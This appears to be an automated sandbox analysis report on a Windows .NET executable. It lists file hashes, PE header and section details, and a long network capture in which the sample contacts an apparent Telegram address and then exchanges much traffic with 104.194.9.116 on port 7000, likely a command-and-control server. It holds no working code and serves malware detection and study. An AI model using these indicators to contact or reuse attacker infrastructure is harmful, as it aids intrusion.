SSDEEP:	12288:XcTpGLwWpFGIWFfDtaY4S0LEy7w0iymL/:XOpEwiFYxsEyHiyK
TLSH:	57A40228B3EC5977C7DF127974B4A0918B75FBA77222CB8F4810854E2857BC14B62B23
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....5..........."...0.................. ....@...... .......................`............`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xDF358803 [Tue Aug 31 21:49:55 2088 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x14000	0xb24	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x13de4	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x11e92	0x12000	5fc1705fb501111d36af4e150f59ed5c	False	0.4556342230902778	data	5.908919730657008	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x14000	0xb24	0xc00	fc2c9d36c7b43df4b7510b16135f70f7	False	0.28515625	data	4.258925842186996	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x140b8	0x440	data			0.48161764705882354
RT_VERSION	0x144f8	0x440	data	English	United States	0.4834558823529412
RT_MANIFEST	0x14938	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 28, 2024 10:25:24.785566092 CET	49674	443	192.168.2.7	104.98.116.138
Mar 28, 2024 10:25:24.785772085 CET	49675	443	192.168.2.7	104.98.116.138
Mar 28, 2024 10:25:24.926160097 CET	49672	443	192.168.2.7	104.98.116.138
Mar 28, 2024 10:25:29.522496939 CET	49704	443	192.168.2.7	149.154.167.220
Mar 28, 2024 10:25:29.522533894 CET	443	49704	149.154.167.220	192.168.2.7
Mar 28, 2024 10:25:29.522608042 CET	49704	443	192.168.2.7	149.154.167.220
Mar 28, 2024 10:25:29.532279968 CET	49704	443	192.168.2.7	149.154.167.220
Mar 28, 2024 10:25:29.532305002 CET	443	49704	149.154.167.220	192.168.2.7
Mar 28, 2024 10:25:30.089720011 CET	443	49704	149.154.167.220	192.168.2.7
Mar 28, 2024 10:25:30.089833021 CET	49704	443	192.168.2.7	149.154.167.220
Mar 28, 2024 10:25:30.092643976 CET	49704	443	192.168.2.7	149.154.167.220
Mar 28, 2024 10:25:30.092655897 CET	443	49704	149.154.167.220	192.168.2.7
Mar 28, 2024 10:25:30.092924118 CET	443	49704	149.154.167.220	192.168.2.7
Mar 28, 2024 10:25:30.144906998 CET	49704	443	192.168.2.7	149.154.167.220
Mar 28, 2024 10:25:30.195413113 CET	49704	443	192.168.2.7	149.154.167.220
Mar 28, 2024 10:25:30.240236998 CET	443	49704	149.154.167.220	192.168.2.7
Mar 28, 2024 10:25:30.644229889 CET	443	49704	149.154.167.220	192.168.2.7
Mar 28, 2024 10:25:30.644303083 CET	443	49704	149.154.167.220	192.168.2.7
Mar 28, 2024 10:25:30.644341946 CET	49704	443	192.168.2.7	149.154.167.220
Mar 28, 2024 10:25:30.655808926 CET	49704	443	192.168.2.7	149.154.167.220
Mar 28, 2024 10:25:33.191771030 CET	49677	443	192.168.2.7	20.50.201.200
Mar 28, 2024 10:25:34.394931078 CET	49674	443	192.168.2.7	104.98.116.138
Mar 28, 2024 10:25:34.394965887 CET	49675	443	192.168.2.7	104.98.116.138
Mar 28, 2024 10:25:34.535538912 CET	49672	443	192.168.2.7	104.98.116.138
Mar 28, 2024 10:25:35.682645082 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:35.795536041 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:35.795717955 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:35.826150894 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:35.996056080 CET	443	49701	104.98.116.138	192.168.2.7
Mar 28, 2024 10:25:35.996148109 CET	49701	443	192.168.2.7	104.98.116.138
Mar 28, 2024 10:25:36.007473946 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.835289001 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.835314035 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.835329056 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.835344076 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.835385084 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:37.835405111 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.835412025 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:37.835541964 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.835578918 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.835581064 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:37.835639954 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.835675001 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:37.835711002 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.835761070 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.835799932 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:37.957760096 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.957778931 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.957793951 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.957847118 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.957861900 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.957865000 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:37.957875013 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.957889080 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.957905054 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:37.957928896 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.957937956 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:37.957942963 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.957967997 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:37.957992077 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.958025932 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:37.958039045 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.958054066 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.958091974 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:37.958120108 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.958183050 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.958234072 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:37.958237886 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.958273888 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.958312988 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:37.958370924 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.958460093 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.958501101 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:37.958606005 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.958645105 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:37.958684921 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.079298019 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079314947 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079339981 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079382896 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079401016 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079401970 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.079417944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079449892 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079457045 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.079464912 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079484940 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.079492092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079518080 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.079555035 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079569101 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079581976 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079597950 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.079619884 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.079621077 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079636097 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079678059 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079679012 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.079693079 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079720974 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079730034 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.079740047 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079770088 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.079786062 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079802036 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079828978 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079842091 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.079843998 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079875946 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.079916954 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079932928 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079946995 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.079972982 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.079987049 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.080025911 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.080049992 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.080065012 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.080094099 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.080107927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.080108881 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.080142975 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.080144882 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.080169916 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.080212116 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.080214977 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.080246925 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.080260992 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.080274105 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.080288887 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.080290079 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.080306053 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.080360889 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.080374956 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.080415964 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.129295111 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190004110 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190076113 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190093040 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190114021 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190121889 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190135002 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190150976 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190155983 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190170050 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190186977 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190195084 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190222979 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190228939 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190243959 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190263033 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190279007 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190304995 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190318108 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190330029 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190341949 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190365076 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190378904 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190406084 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190424919 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190443039 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190445900 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190464020 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190483093 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190511942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190551996 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190572977 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190586090 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190618038 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190619946 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190633059 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190649033 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190668106 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190674067 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190702915 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190718889 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190767050 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190785885 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190799952 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190804958 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190814018 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190834045 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190834999 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190866947 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190876007 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190918922 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190932035 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190944910 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.190953016 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.190979004 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.191001892 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.191016912 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.191044092 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.230947971 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.271552086 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.316582918 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.316617012 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.316632986 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.316646099 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.316683054 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.316703081 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.316739082 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.316756010 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.316760063 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.316761017 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.316761017 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.316797972 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.316808939 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.316828012 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.316845894 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.316864967 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.316868067 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.316879034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.316905022 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.316936016 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.316972017 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.316975117 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.316988945 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.317022085 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.317027092 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.317070007 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.317109108 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.317116022 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.317186117 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.317224026 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.330446005 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.330487967 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.330504894 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.330538988 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.330712080 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.330771923 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.330775023 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.331099033 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.331142902 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.331296921 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.331310987 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.331325054 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.331346035 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.331356049 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.331379890 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.331393003 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.331407070 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.331444979 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.331480980 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.331804991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.331849098 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.331882954 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.331938028 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.331981897 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.332101107 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.332197905 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.332236052 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.393604040 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.426851034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.426897049 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.426949024 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.426950932 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.427006006 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.427098989 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.427158117 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.427195072 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.427196980 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.427252054 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.427294016 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.427316904 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.427457094 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.427494049 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.427557945 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.427607059 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.427643061 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.427651882 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.427767992 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.427814007 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.427831888 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.427901983 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.427917957 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.427942991 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.427978039 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.428015947 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.428050995 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.428114891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.428160906 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.428173065 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.442504883 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.442558050 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.442581892 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.442626953 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.442672014 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.442694902 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.442753077 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.442790985 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.442795992 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.442857027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.442889929 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.442924023 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.442965031 CET	7000	49713	104.194.9.116	192.168.2.7
